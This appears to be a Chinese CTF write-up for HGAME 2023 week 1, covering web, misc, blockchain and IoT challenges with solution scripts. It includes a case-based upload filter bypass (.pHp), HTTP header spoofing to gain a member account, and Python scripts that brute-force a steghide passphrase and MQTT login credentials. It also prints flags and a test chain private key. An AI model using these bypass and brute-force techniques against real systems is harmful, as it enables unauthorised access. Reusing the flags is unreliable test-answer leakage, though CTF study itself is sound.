腾讯玄武倒水的","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=anjeaJmx1X79Yp1DNxWrRA&s=640","url": "https://blog.ar1s.top"},{"id": "hsiaoxychen","intro": "17级 / 游戏厂打工仔 / 来深圳找我快活","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=YGiaicyZ3NkWfOoGOlLPWvAw&s=640","url": "https://chenxy.me"},{"id": "Lou00","intro": "17级 / web / 东南读研","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=fdAMuUicvOObMv3eZC8y0Ew&s=640","url": "https://blog.lou00.top"},{"id": "Junier","intro": "16 级 / 立志学术的统计er / R / 为楼上的脱单事业做出了贡献","url": "#"},{"id": "bigmud","intro": "16 级会长 / Web 后端 / 会一点点 Web 安全 / 会一丢丢二进制","url": "#"},{"id": "NeverMoes","intro": "16 级 / Java 福娃 / 上班 996 / 下班 669","url": "#"},{"id": "Sora","intro": "16 级 / Web Developer","url": "https://github.com/Last-Order"},{"id": "fantasyqt","intro": "16 级 / 可能会运维 / 摸鱼选手","url": "http://0x2f.xyz"},{"id": "vvv_347","intro": "16 级 / Rev / Windows / Freelancer","url": "https://vvv-347.space"},{"id": "veritas501","intro": "16 级 / Bin / 被迫研狗","url": "https://veritas501.space"},{"id": "LuckyCat","intro": "16 级 / Web 🐱 / 现于长亭科技实习","url": "https://jianshu.com/u/ad5c1e097b84"},{"id": "Ash","intro": "16 级 / Java 开发攻城狮 / 996 选手 / 濒临猝死","url": "#"},{"id": "Cyris","intro": "16 级 / Web 前端 / 美工 / 阿里云搬砖","avatar": "https://cdn.jsdelivr.net/npm/cyris/images/avatar.png","url": "https://cyris.moe/"},{"id": "Acaleph","intro": "16 级 / Web 前端 / 水母一小只 / 程序员鼓励师 / Cy 来组饥荒！","url": "#"},{"id": "b0lv42","intro": "16级 / 大果子 / 毕业1年仍在寻找vidar娘接盘侠","url": "https://b0lv42.github.io/"},{"id": "ngc7293","intro": "16 级 / 蟒蛇饲养员 / 高数小王子","avatar": "../../images/avatar/ngc7293.jpg","url": "https://ngc7292.github.io/"},{"id": "ckj123","intro": "16 级 / Web / 菜鸡第一人","avatar": "../../images/avatar/ckj123.jpg","url": "https://www.ckj123.com"},{"id": "cru5h","intro": "16级 / 前web手、现pwn手 / 菜鸡研究生 / scu","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=5kpiaPnLZ1cWrp0G8O4qHDg&s=640","url": "#"},{"id": "xiaoyao52110","intro": "16 级 / Bin 打杂 / 他们说菜都是假的，我是真的","avatar": "../../images/avatar/xiaoyao52110.jpg","url": "#"},{"id": "Undefinedv","intro": "15 级网安协会会长 / Web 安全","avatar": "../../images/avatar/undefinedv.jpg","url": "#"},{"id": "Spine","intro": "逆向 / 二进制安全","avatar": "../../images/avatar/spine.jpg","url": "#"},{"id": "Tata","intro": "二进制 CGC 入门水准 / 半吊子爬虫与反爬虫","avatar": "../../images/avatar/tata.jpg","url": "#"},{"id": "Airbasic","intro": "Web 安全 / 长亭科技安服部门 / TSRC 2015 年年度英雄榜第八、2016 年年度英雄榜第十三","avatar": "../../images/avatar/airbasic.jpg","url": "#"},{"id": "jibo","intro": "15 级 / 什么都不会的开发 / 打什么都菜","avatar": "../../images/avatar/jibo.jpg","url": "#"},{"id": "Processor","intro": "15 级 Vidar 会长 / 送分型逆向选手 / 13 段剑纯 / 差点没毕业 / 阿斯巴甜有点甜","avatar": "../../images/avatar/Processor.jpeg","url": "https://processor.pub/"},{"id": "HeartSky","intro": "15 级 / 挖不到洞 / 打不动 CTF / 内网渗透不了 / 工具写不出","avatar": "../../images/avatar/heartsky.jpg","url": "http://heartsky.info"},{"id": "Minygd","intro": "15 级 / 删库跑路熟练工 / 没事儿拍个照 / 企鹅","avatar": "../../images/avatar/mingy.jpg","url": "#"},{"id": "Yotubird","intro": "15 级 / 已入 Python 神教","avatar": "../../images/avatar/Yotubird.png","url": "#"},{"id": "c014","intro": "15 级 / Web 🐶 / 汪汪汪","avatar": "../../images/avatar/c014.png","url": "#"},{"id": "Explorer","intro": "14 级 HDUISA 会长 / 二进制安全 / 曾被 NULL、TD、蓝莲花等拉去凑人数 / 差点没毕业 / 长亭安研","avatar": "../../images/avatar/Explorer.jpg","url": "#"},{"id": "Aklis","intro": "14 级 HDUISA 副会长 / 二次元 / 拼多多安全工程师","avatar": "../../images/avatar/aklis.jpg","url": "#"},{"id": "Sysorem","intro": "14 级网安协会会长 / HDUISA 成员 / Web 安全 / Freebuf 安全社区特约作者 / FSI2015Freebuf 特邀嘉宾","avatar": "../../images/avatar/sysorem.jpg","url": "#"},{"id": "Hcamael","intro": "13 级 / 知道创宇 404 安全研究员 / 现在 Nu1L 划划水 / IoT、Web、二进制漏洞，密码学，区块链都看得懂一点，但啥也不会","avatar": "../../images/avatar/hcamael.jpg","url": "#"},{"id": "LoRexxar","intro": "14 级 / Web 🐶 / 杭电江流儿 / 自走棋主教守门员","avatar": "../../images/avatar/lorexxar.jpg","url": "https://lorexxar.cn/"},{"id": "A1ex","intro": "14 级网安协会副会长 / Web 安全","avatar": "../../images/avatar/alex.jpg","url": "#"},{"id": "Ahlaman","intro": "14 级网安协会副会长 / 无线安全","avatar": "../../images/avatar/ahlaman.jpg","url": "#"},{"id": "lightless","intro": "Web 安全 / 安全工程师 / 半吊子开发 / 半吊子安全研究","avatar": "../../images/avatar/lightless.jpg","url": "https://lightless.me/"},{"id": "Edward_L","intro": "13 级 HDUISA 会长 / Web 安全 / 华为安全部门 / 二进制安全，fuzz，符号执行方向研究","avatar": "../../images/avatar/edward_L.jpg","url": "#"},{"id": "逆风","intro": "13 级菜鸡 / 大数据打杂","avatar": "../../images/avatar/deadwind4.jpeg","url": "https://github.com/deadwind4"},{"id": "陈斩仙","intro": "什么都不会 / 咸鱼研究生 / <del>安恒</del>、<del>长亭</del> / SJTU","avatar": "../../images/avatar/chenzhanxian.jpg","url": "https://mxgcccc4.github.io/"},{"id": "Eric","intro": "渗透 / 人工智能 / 北师大博士在读","avatar": "../../images/avatar/eric.jpg","url": "https://3riccc.github.io"}
]getQuestion = 'http://week-1.hgame.lwsec.cn:32240/api/getQuestion'
verifyAnswer = 'http://week-1.hgame.lwsec.cn:32240/api/verifyAnswer'
getScore = 'http://week-1.hgame.lwsec.cn:32240/api/getScore'import requests
s = requests.Session()for i in range(100):r=s.get(getQuestion)r=eval(r.text)print(r['message'])for i in ans:if i['intro'] == r['message']:print(i['id'])id=i['id']breakr=s.post(verifyAnswer,{'id':id})print(r.text)r=s.get(getScore)print(r.text)

score达到100的时候getScore会返回flag

3、Show Me Your Beauty

登陆了之前获取的会员账号之后，兔兔想找一张自己的可爱照片，上传到个人信息的头像中 😄 不过好像可以上传些奇怪后缀名的文件诶 XD

可用扩展名大小写绕过，上传.pHp即可。

4、Become A Member

学校通知放寒假啦，兔兔兴高采烈的打算购买回家的车票，这时兔兔发现成为购票网站的会员账户可以省下一笔money…… 想成为会员也很简单，只需要一点点HTTP的知识……等下，HTTP是什么，可以吃吗？

根据提示在http请求中添加相关元素即可：

1、请先提供一下身份证明（Cute-Bunny）哦

User-Agent: Cute-Bunny

2、每一个能够成为会员的顾客们都应该持有名为Vidar的邀请码（code）

Cookie: code=Vidar

3、由于特殊原因，我们只接收来自于bunnybunnybunny.com的会员资格申请

referer: bunnybunnybunny.com1

4、就差最后一个本地的请求，就能拿到会员账号啦

X-Forwarded-For: 127.0.0.1

5、得到账号:username:luckytoday password:happy123（请以json请求方式登陆）返回flag

{
"username":"luckytoday","password":"happy123"
}

misc

1、Sign In

欢迎参加HGAME2023,Base64解码这段Flag，然后和兔兔一起开始你的HGAME之旅吧，祝你玩的愉快！ aGdhbWV7V2VsY29tZV9Ub19IR0FNRTIwMjMhfQ==

base64解密

2、e99p1ant_want_girlfriend

兔兔在抢票网站上看到了一则相亲广告，人还有点小帅，但这个图片似乎有点问题，好像是CRC校验不太正确？

修改文件高度

3、神秘的海报

坐车回到家的兔兔听说ek1ng在HGAME的海报中隐藏了一个秘密…（还记得我们的Misc培训吗？

zsteg看到一段文字

得到flag1：hgame{U_Kn0w_LSB&W

一个网盘地址：https://drive.google.com/file/d/13kBos3Ixlfwkf3e0z0kJTEqBxm7RUk-G/view?usp=sharing

还有提示：Steghide加密，6位密码

下载下来一个wav文件，根据提示，进行是Steghide爆破的密码12345678，同时得到flag2：av^Mp3_Stego}

拼接得到flag：hgame{U_Kn0w_LSB&Wav^Mp3_Stego}

Steghide爆破脚本：

from subprocess import *
import hashlib,string,itertools
stegoFile='Bossanova.wav'
extractFile='hide.txt'
# win
#passFile='D:\\ctf\\ctfhome\\tools\\dict\\top1000.txt'
#cmdFormat = "D:\\ctf\\tools\\隐写\\steghide\\steghide.exe extract -sf %s -xf %s -p %s"    #win# linux
passFile='/home/wz/ctf/tools/dict/top1000.txt'
cmdFormat = "steghide extract -sf %s -xf %s -p %s"  # linuxdef fuu_dic():errors = ['could not extract', 'steghide --help', 'Syntax error']f = open(passFile, 'r')for line in f.readlines():cmd = cmdFormat % (stegoFile, extractFile, line.strip())p = Popen(cmd, shell=True, stdout=PIPE, stderr=STDOUT)content = p.stdout.read().decode()print(content)for err in errors:if err in content:breakelse:print(content)print('the passphrase is %s' % (line.strip()))f.close()returndef fuu_number(length): dateset = string.ascii_lowercase + string.digitsdateset = string.digitserrors = ['could not extract', 'steghide --help', 'Syntax error']for item in itertools.product(dateset, repeat=length):line = "".join(item)cmd = cmdFormat % (stegoFile, extractFile, line)p = Popen(cmd, shell=True, stdout=PIPE, stderr=STDOUT)content = p.stdout.read().decode()print(cmd,content)for err in errors:if err in content:breakelse:print(content)print('the passphrase is %s' % (line.strip()))returnif __name__ == '__main__':fuu_dic()
print('end')

4、Where am I

兔兔回家之前去了一个神秘的地方，并拍了张照上传到网盘，你知道他去了哪里吗？ flag格式为: hgame{经度时_经度分_经度秒_东经(E)/西经(W)_纬度时_纬度分_纬度秒_南纬(S)/北纬(N)}，秒精确到小数点后两位 例如: 11°22’33.99’‘E, 44°55’11.00’'S 表示为 hgame{11_22_3399_E_44_55_1100_S}

ATTACHMENTS:

流量日志中提取出rar文件，7zip解压，得到图片，查看属性得到坐标

也可以exiftool查看： 39 deg 54’ 54.18" N, 116 deg 24’ 14.88" E

整理成flag格式，注意先经度，再纬度，hgame{116_24_1488_E_39_54_5418_N}

BlockChain

1、Checkin

题目中给出了三个端口，分别是 RPC、水龙头、题目交互端。 由于靶机端口随机，需要选手自行尝试。 其中，浏览器可直接访问的是水龙头，浏览器直接访问报 403 的是 RPC，浏览器无法访问的是题目交互端，需使用 nc 连接。
week-1.hgame.lwsec.cn:30727 (nc)
week-1.hgame.lwsec.cn:30433 (水龙头)
week-1.hgame.lwsec.cn:32455 (rpc)

这个题绕了一天的时间才解决，之前其他比赛的时候遇到过 但是这次的是私有链，并且没有提供钱包账户，需要自己创建，中间尝试了jsonrpc、Geth客户端等尝试了各种创建账户的函数都不成功，最后查web3.js接口文档发现web3.eth.account.create() 可以。。。返回数据中包含了账户地址和私钥等。
所以先列下题目source, nc访问后有4个菜单 创建账号、构造合约、获取flag、查看源码

wz@u2204:/mnt/d/ctf/ctfhome/tools/sh$ nc week-1.hgame.lwsec.cn 30727
We design a pretty easy contract challenge. Enjoy it!
Your goal is to make isSolved() function returns true![1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code

源码：

contracts/checkin.sol
// SPDX-License-Identifier: MITpragma solidity 0.8.17;contract Checkin {string greeting;constructor(string memory _greeting)  {greeting = _greeting;}function greet() public view returns (string memory) {return greeting;}function setGreeting(string memory _greeting) public {greeting = _greeting;}function isSolved() public view returns (bool) {string memory expected = "HelloHGAME!";return keccak256(abi.encodePacked(expected)) == keccak256(abi.encodePacked(greeting));}
}

解题思路很简单 就是调用一下合约的setGreeting方法，参数是HelloHGAME!
先执行菜单1创建账号，然后用水龙头给账号灌个水，然后菜单2构造合约，得到合约地址：
0xAE541aE91E2798E04E8e6Ae198E20e454093c2d3

拿出以前的脚本，发现没有帐户，当然最后找到了创建方法，创建后用水龙头给账户灌点水，然后遇到了使用buildTransaction返回401错误。。。
尝试手动构造交易：

transaction={"from": "0xf111ec4C8798Cad7bbF78D517024a7ADece5814c","to": contract_address,"gas":"0x100000","gasPrice":"0x2","nonce":nonce,"chainId":"0xf810","data": "0xa41368620000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000b48656c6c6f4847414d4521000000000000000000000000000000000000000000"}

其中data的构造我直接使用Remix 编译源码后部署合约执行 setGreeting(HelloHGAME!)然后复制一下input就是了。
然后用一开始没有加chainId 遇到了only replay-protected (EIP-155) transactions allowed over RPC的错误，在交易中加上chainId就可以了，chainId可以用Geth执行eth.chainId() 或者 web3.eth.chainId获得
最后exp

from web3 import Web3, HTTPProvider
from web3 import Web3
import jsonrpc = "http://week-1.hgame.lwsec.cn:32455"
w3 = Web3(Web3.HTTPProvider(rpc))
my_address='0xB13b851de8A6DC156F01a3eab639C85c2d32456F'
prikey='9ebe7712e3f459fe130d24e638058adc33564391b6be56a719cdd783ce703f34'
contract_address = '0xAE541aE91E2798E04E8e6Ae198E20e454093c2d3'
abi='''
[{"inputs": [],"name": "greet","outputs": [{"internalType": "string","name": "","type": "string"}],"stateMutability": "view","type": "function"},{"inputs": [{"internalType": "string","name": "_greeting","type": "string"}],"name": "setGreeting","outputs": [],"stateMutability": "nonpayable","type": "function"}
]
'''
abi=json.loads(abi)
nonce = w3.eth.get_transaction_count(my_address)
'''
acc = w3.eth.account.create()
print(acc.address)
print(acc.privateKey.hex())
'''
chainid=w3.eth.chainId
print(chainid)
# 实例化合约对象
storage = w3.eth.contract(address=contract_address, abi=abi)transaction={"from": my_address,"to": contract_address,"gas":"0x100000","gasPrice":"0x1","nonce":nonce,"chainId":w3.eth.chainId,"data": "0xa41368620000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000b48656c6c6f4847414d4521000000000000000000000000000000000000000000"}
# 签名
signed_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
# 发送交易
tx_hash = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
print('add new Person to contract...')
# 等待交易完成
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
# 获得people数组中存储的值
result = storage.functions.greet().call()
print(f'get result: {result}')

nc执行3获得flag：

Iot

1、Help the uncle who can’t jump twice

兔兔在车站门口看到一张塑料凳子,上边坐着一个自称V的男人.他希望你能帮他登上他的大号 Vergil 去那边的公告栏上康康Nero手上的YAMATO怎么样了

1、使用提供的字典爆破密码，得到密码power

2、订阅Nero/YAMATO 得到flag

import json 
import sys 
# 引入mqtt包 
import paho.mqtt.client as mqtt 
# 使用独立线程运行 
from threading import Thread # 爆破账号
f=open('pass.txt','r')
d=f.read()
f.close()
d=d.split('\n')
print(d[:2])
idx = 0
# 建立mqtt连接 
def on_connect(client, userdata, flag, rc):global idxif rc == 0: # 连接成功 print("Connection successful") elif rc == 1: # 协议版本错误 print("Protocol version error") elif rc == 2: # 无效的客户端标识 print("Invalid client identity") elif rc == 3: # 服务器无法使用 print("server unavailable") elif rc == 4: # 错误的用户名或密码 print("Wrong user name or password") client.username_pw_set('Vergil', d[idx]) print('set pass:',d[idx])idx+=1elif rc == 5: # 未经授权 print("unaccredited") print("Connect with the result code " + str(rc)) # 订阅频道 # client.subscribe('31765425213673472', qos=2) 
# 当与代理断开连接时调用 
def on_disconnect(client, userdata, rc): #  rc == 0回调被调用以响应disconnect（）调用 # 如果以任何其他值断开连接是意外的，例如可能出现网络错误。 if rc != 0: print("Unexpected disconnection %s" % rc) # 当收到关于客户订阅的主题的消息时调用。 
def on_message(client, userdata, msg): print(msg.topic + ":\n" + msg.payload.decode()) #json_msg = json.loads(msg.payload.decode('utf-8')) # 加入个人逻辑 pass # 当使用使用publish()发送的消息已经传输到代理时被调用。 
def on_publish(client, obj, mid): print("on_Publish, mid: " + str(mid)) 
# 当代理响应订阅请求时被调用 
def on_subscribe(client, userdata, mid, granted_qos): print("on_Subscribed: " + str(mid) + " " + str(granted_qos)) 
# 当代理响应取消订阅请求时调用。 
def on_unsubscribe(client, userdata, mid): print("on_unsubscribe, mid: " + str(mid)) 
# 当客户端有日志信息时调用 
def on_log(client, obj, level, string): print("on_Log:" + string) # 启动函数 
def mqtt_run(): # 账号密码验证放到最前面 client = mqtt.Client() client.username_pw_set('Vergil', 'power') # client = mqtt.Client() # 建立mqtt连接 client.on_connect = on_connect client.on_message = on_message #client.on_subscribe = on_subscribe #client.on_log = on_log # 当与代理断开连接时调用 #client.on_disconnect = on_disconnect # 绑定 MQTT 服务器地址 broker_ip = '117.50.177.240' rc = client.connect(host=broker_ip, port=1883) print(rc)client.reconnect_delay_set(min_delay=0, max_delay=0.1) topic='Nero/YAMATO'client.subscribe(topic)  #订阅话题client.loop_forever()if __name__ == "__main__": mqtt_run()

2、Help marvin

兔兔发现售票的marvin只会吐出三个白头 决定去修一修marvin(-30)

Hint: SPI

下载下来是一个.sr文件，经搜索可以使用PulseView打开查看信号

打开后如图

然后就没有了思路，网上搜到sigrok-cli可以显示字符之类的，安装环境挺麻烦没有去试。

过几天及看到提示SPI，在PulseView的解码器中可以搜到一些

选择一个试试，SPI的资料如下：

SPI通常有4根线（四线制），可实现全双工通信
【SCK】: 串行时钟（Serial Clock）
【MOSI】:主发从收信号（Master Output, Slave Input）
【MISO】:主收从发信号（Master Input, Slave Output
【CS/CS】:片选信号（Slave Select）

这一方面没接触过，按顺序选了一下四条线，结果没有输出数据，第四条先不选，可以得到一堆数据[0x34,0x33,0xb0,0xb6,0xb2,0xbd,0x9a,0x2f,0x9a,0xba,0x1a,0x37,0x33,0xb2,0xaf,0xa9,0xb8,0x18,0xbe]
但是经过各种处理都无法转换成可见字符。

最后再多次尝试，片选信号选择D1，输入其实不需要选不选都行，出来的数据明显均是可见字符并且中间含有7B 7D，感觉稳了：

得到：

3467616d657b345f3574346e67655f5370317d

bytes.fromhex("3467616d657b345f3574346e67655f5370317d")
b'4game{4_5t4nge_Sp1}'

提交hgame{4_5t4nge_Sp1}试试，成功。